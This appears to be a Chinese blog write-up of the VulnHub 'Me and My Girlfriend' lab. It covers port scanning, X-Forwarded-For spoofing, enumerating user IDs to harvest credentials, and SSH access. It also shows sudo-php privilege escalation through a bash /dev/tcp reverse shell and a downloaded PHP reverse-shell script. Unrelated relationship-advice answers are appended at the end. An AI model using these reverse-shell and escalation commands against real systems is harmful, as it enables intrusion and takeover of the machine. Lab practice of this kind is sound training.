vulnhub : Me and My Girlfriend

vulnhub : Me and My Girlfriend

练习+加深记忆固编写此文章。因为自身基础不够会在练习的过程中将不熟悉的东西查资料,并附在超链接中。

参考文章:
vulnhub靶机练习-Me and My Girlfriend: 1
Linux php命令
反弹shell详解
工具使用:
nmap
searchsploit

部署

虚拟机:vmware workstation
攻击者:WSL kali (WSL可以通过nat技术使用物理机的ip 攻击靶场。也可以使用kali Linux虚机进行攻击,但是记得配置网卡)
文件:Me-and-My-Girlfriend-1.ova
工具:burpsuit

  • 靶场下载
    在这里插入图片描述2. 加载下载下来文件即可
    在这里插入图片描述3. 配置网卡,开机,如图:(这里我的攻击机为wsl kali ,因此不用配置其他的,如果使用kali虚拟机的话也需要进行如下配置;当然网卡也有其他配置方式,这里我就不赘述了,有需要的自行百度)
    ![在这里插入图片描述]

收集信息-查找靶机ip-及开放端口

  1. 物理机上查看以太网适配器 VMware Network Adapter VMnet8 的ip段,命令:ipconfig。
    在这里插入图片描述

  2. nmap扫描192.168.98.0/24网段ip,扫描出靶机ip为192.168.98.204

nmap -sP 192.168.98.0/24

在这里插入图片描述
或者也可以使用 netdiscover -r 192.168.98.1/24,但是我扫描失败了,不知道是不是wsl的问题。
3. 探测靶机开放端口,当前开放了22(ssh)、80(http)。

 nmap -p 1-65535 -sS 192.168.98.204

在这里插入图片描述

访问网站,XFF配置

1.访问网站,提示仅可以本地访问。HTTP数据包中标记来源的字段有x-forwarded-for、x-real-ip。
通常这类字段应用场景为:访问者(1.1.1.1)-》代理(x-forwarded-for:1.1.1.1)-》目标网站(192.168.x.x),当代理将互联网的流量转发给私网时,网络层的源ip被替换成了代理的ip,真实ip就由http暂为保管了
在这里插入图片描述2. burpsuit抓包添加数据报头x-forwarded-for:127.0.0.1,注意最好添加在Connection: close之前,不然可能会失效。之后访问的每一个页面都需要添加该字段,可以搞一个火狐插件,或者对burpsuit进行配置

x-forwarded-for:127.0.0.1

在这里插入图片描述3. burpsuit配置
在这里插入图片描述

网站测试-漏洞探测-目录扫描

1.观察网站,
(1)是否存在爆破点、注入点、文件包含等。
(2)目录扫描
(3)一定要看看网页源码!!!
简单测试网站是否存在注入点、文件包含漏洞。
可能存在文件包含的地方
![![在这里插入图片描述](https://img-blog.csdnimg.cn/ed55145a95354f109d832a214169f797.pn](https://img-blog.csdnimg.cn/7653a74d23fa43ca8770899b8f8ad322.png
可能存在注入点的地方
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2. 目录扫描,试了一下,没有发现啥有用信息
在这里插入图片描述

网站测试-越权访问

  1. 简要测试,发现user-id 存在越权访问的现象。
    在这里插入图片描述2. 使用burpsuit把所有数据爬出来
    抓包将数据包发送到intruder里,对user_id进行爆破
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
    在这里插入图片描述3. 看看都有哪些账户
    在这里插入图片描述4. 发现故事主人公alice。获得用户名:alice 密码:4lic3
    在这里插入图片描述

SSH 登录

1.在kali中 使用alice 4lic3 ssh登录靶机

ssh alice@192.168.98.204

在这里插入图片描述

在这里插入图片描述

操作系统信息搜集-获取第一个flag

  1. 获取第一个flag,获知第二个flag在/root目录下
ls -al 
ls .my_secre
cat .my_secret/flag1.txt

在这里插入图片描述2.搜集操作系统信息,当前权限不足需要搜集当前信息。(searchsploit使用

id #查看当前用户权限。
cat /etc/passwd |grep alice #查看当前用户权限,权限第
uname -a #查看当前系统版本,可以依据系统版本,查找响应漏洞进行提权
	#使用kali中searchsploit查找对应漏洞,尝试提权。此处不是标准答案,不做演示
	searchsploit ubuntu 14.04
	searchsploit linux Kernel 4.4.0
sudo -l #查看当前用户可以执行哪些管理员权限命令

在这里插入图片描述
在这里插入图片描述

系统提权-获取第二个flag

  1. 上图 (root) NOPASSWD: /usr/bin/php 表示当前用户可以执行管理员权限下的Linux php命令,在管理员权限运行PHP代码反弹shell,可以获取管理员权限的账号。(也可以反弹当前账户权限至msf提权,不知道能不能成功,有时间试一下)

(1)# kali上设置监听

nc -lvp 1080

(2) sudo php 反弹shell,方法有二
方法一:上传Linux自带的反弹shell脚本
#php 反弹shell的两种方法
方法一:自己写代码反弹shell,试过报错了,原因未知,待排查。

sudo php -r 'system("bash -i >&/dev/tcp/192.168.98.1/1080>&1");'

emmm,如果php能够执行系统命令的话??就可以直接获取flag2了

 sudo php -r 'system("ls /root");'
sudo php -r 'system("cat /root/flag2.txt");'

在这里插入图片描述

#方法二:使用kali自带反弹shell脚本php-reverse-shell.php,kali本地利用python开启http服务。靶机访问并下载反弹shell脚本,修改脚本中的ip及port

#kali
cd /usr/share/webshells/php/
ls
python3 -m http.server 2323
#靶机
cd /tmp
wget http://192.168.98.1:2323/php-reverse-shell.php
vim php-reverse-shell.php #修改ip为192.168.98.1 port为1080 
sudo php php-reverse-shell.php #运行反弹shell脚本

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述2.获取第二个flag
在这里插入图片描述

wsl kali端口监听问题

wsl使用nat技术,借用宿主机各网卡上的ip访问对应网络,这意味着靶机无法反向连接wsl kali,因此需要宿主机做端口转发来解决这个问题。详细代码如下:

# 宿主机以管理员身份运行 powershell
#端口映射,关闭宿主机防火墙或者在墙上加策略放行监听端口。
netsh interface portproxy add v4tov4 listenport=[宿主机 端口] listenaddress=0.0.0.0 connectport=[wsl-kali port] connectaddress=[wsl-kali ip]
#取消端口映射
netsh interface portproxy delete v4tov4 listenaddress=本机ip listenport=本机端口号
#查看本电脑映射 
netsh interface portproxy show all
#映射完成以后,要验证一下物理机上的端口有没有在监听,如果没有就排错吧。
netstat -ano | findstr [port]
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 我建议你和你女友多沟通,尽量用理性的话语让彼此能够理解对方,这样可以减少争吵。同时,你也可以尝试去做一些让你感到开心的事情,比如做运动、聆听音乐、看电影等等,让自己释放压力,有助于你更好地处理情绪,以免发生争吵。 ### 回答2: 当我和女朋友吵架时,我总是会哭,你能给我一些建议吗? 吵架是正常的情侣关系中存在的一种压力释放方式。每个人都有情绪和不同的处理方式,所以你哭泣并不奇怪。然而,如果这种哭泣对你来说变得过于频繁或困扰了你的心情,那么我可以给你一些建议来帮助你处理这种情况。 首先,要学会控制情绪。在争吵时情绪激动是正常的,但你可以通过深呼吸和放慢呼吸来帮助你自我平静。尝试分散注意力,深呼吸几次然后数到十来让自己冷静下来。 其次,沟通是关键。在争吵之前,尝试与女朋友坦诚地交流。表达你的感受和需求,并试着倾听她的观点。善于沟通可以帮助你们更好地理解对方的想法和感受。 另外,要学会控制自己的情绪。吵架时,尽量避免说出伤害对方的话语。冷静地表达你的观点,同时尊重对方的感受。要记住,与女朋友的吵架并不意味着你们不相爱,只是情侣之间的碰撞和摩擦。 最后,重要的是学会处理冲突。冷静下来后,回顾争吵的原因,尝试找出解决问题的方法。倾听对方的意见,并寻求达成共识的途径。如果你觉得自己无法克制情绪或解决问题,考虑寻求专业帮助,如咨询师或关系辅导员。 在一段关系中吵架是正常的,但重要的是如何处理和解决冲突。掌握情绪管理和有效沟通的技巧可以帮助你们建立更健康和稳定的关系。记住,爱是需要努力和理解的,而吵架并不代表你们的爱情会受到损害。 ### 回答3: 当我和女朋友吵架时,我总是会哭,你能给我一些建议吗? 面对与女朋友的争吵,每个人的情况和个性都不尽相同,但以下是一些建议,或许能帮助你更好地处理这种情况。 首先,了解自己的情绪并接受它。哭泣可能是你面对冲突和争吵时表达情感的一种方式。这并不一定是坏事,但了解自己为什么会哭泣是很重要的。这有助于你更好地控制情绪,并找到更健康的方式来表达自己。 其次,尽量保持冷静和理性。在争吵期间尽量冷静下来,掌控自己的情绪。有时当我们过于情绪化时,可能会说出一些我们后悔的话,甚至伤害到彼此。尝试放慢呼吸,站在对方的角度思考问题,并冷静地表达自己的观点。 第三,采取积极的沟通方式。在解决冲突时,有一种积极、有效的沟通方式被广泛认可。这意味着倾听对方的观点,不要打断或争辩。尝试寻找共同点和解决问题的方法,而不是陷入相互指责和争吵的漩涡。 最后,寻求外部支持。如果你发现自己在每次争吵后都哭泣,可能需要寻求一些外部支持,比如寻求心理咨询师或情感辅导。他们能够帮助你理解自己的情绪,找到更健康的应对方式,并提供具体的指导。 总之,在争吵中哭泣并不意味着你是一个软弱的人,只是一种表达情感的方式。通过了解自己的情绪、保持冷静和理性、积极沟通以及寻求外部支持,你将能够更好地处理与女友之间的争吵。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值